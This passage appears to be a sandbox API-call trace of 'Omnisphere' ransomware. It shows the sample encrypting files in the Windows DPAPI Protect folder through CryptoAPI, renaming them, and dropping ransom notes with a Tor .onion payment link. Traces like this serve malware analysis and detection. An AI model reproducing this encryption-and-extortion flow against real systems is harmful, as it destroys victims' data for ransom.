lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere.id" [0117.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0117.134] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0117.135] CloseHandle (hObject=0x3c0) returned 1 [0117.138] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.138] CloseHandle (hObject=0x288) returned 1 [0117.138] SetEndOfFile (hFile=0x28c) returned 1 [0117.139] FlushFileBuffers (hFile=0x28c) returned 1 [0117.143] CloseHandle (hObject=0x28c) returned 1 [0117.143] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0117.143] GetProcessHeap () returned 0x1600000 [0117.143] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1694ff0 [0117.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.143] GetProcessHeap () returned 0x1600000 [0117.143] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693878 [0117.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693878, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.143] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.144] GetProcessHeap () returned 0x1600000 [0117.144] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687348 [0117.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687348, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.144] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.144] GetProcessHeap () returned 0x1600000 [0117.144] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x1688cf0 [0117.144] PathCombineW (in: pszDest=0x1688cf0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0117.144] GetProcessHeap () returned 0x1600000 [0117.144] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168a0d8 [0117.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.144] WriteFile (in: hFile=0x28c, lpBuffer=0x168a0d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168a0d8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0117.145] CloseHandle (hObject=0x28c) returned 1 [0117.145] GetProcessHeap () returned 0x1600000 [0117.145] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1694ff0 | out: hHeap=0x1600000) returned 1 [0117.145] GetProcessHeap () returned 0x1600000 [0117.145] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x1688df8 [0117.145] PathCombineW (in: pszDest=0x1688df8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0117.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.146] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0117.146] CloseHandle (hObject=0x28c) returned 1 [0117.146] GetProcessHeap () returned 0x1600000 [0117.146] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688df8 | out: hHeap=0x1600000) returned 1 [0117.146] GetProcessHeap () returned 0x1600000 [0117.146] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0117.146] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1875d29b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0117.146] GetProcessHeap () returned 0x1600000 [0117.146] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x160e0d8 [0117.147] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="Preferred" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" [0117.147] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0117.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.147] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=24) returned 1 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.147] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.148] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] GetTickCount () returned 0x115d492 [0117.149] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668d68) returned 1 [0117.150] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0117.150] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0117.151] CryptDestroyKey (hKey=0x1639b28) returned 1 [0117.151] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0117.151] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x288 [0117.151] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x1480000 [0117.152] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0117.153] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0117.153] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0117.153] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0117.153] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.153] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.153] CryptDestroyKey (hKey=0x1639b28) returned 1 [0117.153] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0117.153] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0117.153] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0117.154] GetProcessHeap () returned 0x1600000 [0117.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f2) returned 0x1694ff0 [0117.154] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred.omnisphere")) returned 1 [0117.155] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred.omnisphere.id" [0117.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0117.156] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0117.157] CloseHandle (hObject=0x3c0) returned 1 [0117.160] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.160] CloseHandle (hObject=0x288) returned 1 [0117.160] SetEndOfFile (hFile=0x28c) returned 1 [0117.160] FlushFileBuffers (hFile=0x28c) returned 1 [0117.164] CloseHandle (hObject=0x28c) returned 1 [0117.165] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0117.165] GetProcessHeap () returned 0x1600000 [0117.165] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16952f0 [0117.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.165] GetProcessHeap () returned 0x1600000 [0117.165] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693b98 [0117.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693b98, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.165] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.165] GetProcessHeap () returned 0x1600000 [0117.165] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687368 [0117.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687368, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.165] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.165] GetProcessHeap () returned 0x1600000 [0117.165] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x1688df8 [0117.165] PathCombineW (in: pszDest=0x1688df8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0117.166] GetProcessHeap () returned 0x1600000 [0117.166] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168b230 [0117.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.166] WriteFile (in: hFile=0x28c, lpBuffer=0x168b230*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168b230*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0117.166] CloseHandle (hObject=0x28c) returned 1 [0117.166] GetProcessHeap () returned 0x1600000 [0117.166] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16952f0 | out: hHeap=0x1600000) returned 1 [0117.166] GetProcessHeap () returned 0x1600000 [0117.166] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x16952f0 [0117.167] PathCombineW (in: pszDest=0x16952f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0117.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.167] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0117.167] CloseHandle (hObject=0x28c) returned 1 [0117.167] GetProcessHeap () returned 0x1600000 [0117.167] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16952f0 | out: hHeap=0x1600000) returned 1 [0117.167] GetProcessHeap () returned 0x1600000 [0117.167] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0117.167] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1875d29b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0117.168] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.168] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x26eca646, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26eca646, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x26eca646, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26eca646, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c571cf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26c571cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ef41f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb9994c1e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xb9994c1e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x26ba96b0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere", cAlternateFileName="20CAC0~1.OMN")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ba96b0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26ba96b0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ba96b0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="20cac00a-26e8-46c6-ab84-90a52b05e557.omnisphere.id", cAlternateFileName="20CAC0~1.ID")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd20187d7, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xd20187d7, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x26cb45e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere", cAlternateFileName="5C4D6E~1.OMN")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c8e37c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26c8e37c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26cb45e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, 